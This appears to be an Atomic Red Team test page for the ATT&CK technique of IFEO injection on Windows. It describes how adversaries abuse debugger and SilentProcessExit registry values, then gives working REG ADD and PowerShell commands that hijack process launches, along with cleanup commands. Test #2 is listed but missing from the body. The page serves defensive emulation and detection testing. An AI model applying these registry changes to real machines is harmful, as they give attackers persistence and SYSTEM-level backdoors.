Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\</code> where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)
Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.
Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)</blockquote>
## Atomic Tests
- [Atomic Test #1 - IFEO Add Debugger](#atomic-test-1---ifeo-add-debugger)
- [Atomic Test #2 - IFEO Global Flags](#atomic-test-2---ifeo-global-flags)
- [Atomic Test #3 - GlobalFlags in Image File Execution Options](#atomic-test-3---globalflags-in-image-file-execution-options)
## Atomic Test #1 - IFEO Add Debugger
Leverage Global Flags Settings
**Supported Platforms:** Windows
**auto_generated_guid:** fdda2626-5234-4c90-b163-60849a24c0b8
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| target_binary | Binary To Attach To | path | calc.exe|
| payload_binary | Binary To Execute | path | C:\Windows\System32\cmd.exe|
#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)
```cmd
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"
```
#### Cleanup Commands:
```cmd
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /f >nul 2>&1
```
## Atomic Test #3 - GlobalFlags in Image File Execution Options
The following Atomic Test will create a GlobalFlag key under Image File Execution Options, also a SilentProcessExit Key with ReportingMode and MonitorProcess values. This test is similar to a recent CanaryToken that will generate an EventCode 3000 in the Application log when a command, whoami.exe for example, is executed.
Upon running Whoami.exe, a command shell will spawn and start calc.exe based on the MonitorProcess value.
Upon successful execution, powershell will modify the registry and spawn calc.exe. An event 3000 will generate in the Application log.
**Supported Platforms:** Windows
**auto_generated_guid:** 13117939-c9b2-4a43-999e-0a543df92f0d
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| process | Process to monitor | string | whoami.exe|
| cmd_to_run | Command to execute | string | cmd.exe /c calc.exe|
#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)
```powershell
$Name = "GlobalFlag"
$Value = "512"
$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{process}"
New-Item -Path $registryPath -Force
New-ItemProperty -Path $registryPath -Name $Name -Value $Value -PropertyType DWord -Force
$Name = "ReportingMode"
$Value = "1"
$SilentProcessExit = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{process}"
New-Item -Path $SilentProcessExit -Force
New-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType DWord -Force
$Name = "MonitorProcess"
$Value = "#{cmd_to_run}"
New-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType String -Force
Start-Process whoami.exe
```
#### Cleanup Commands:
```powershell
$SilentProcessExit = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{process}"
Remove-Item $SilentProcessExit -force
$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{process}"
Remove-Item $registryPath -force
```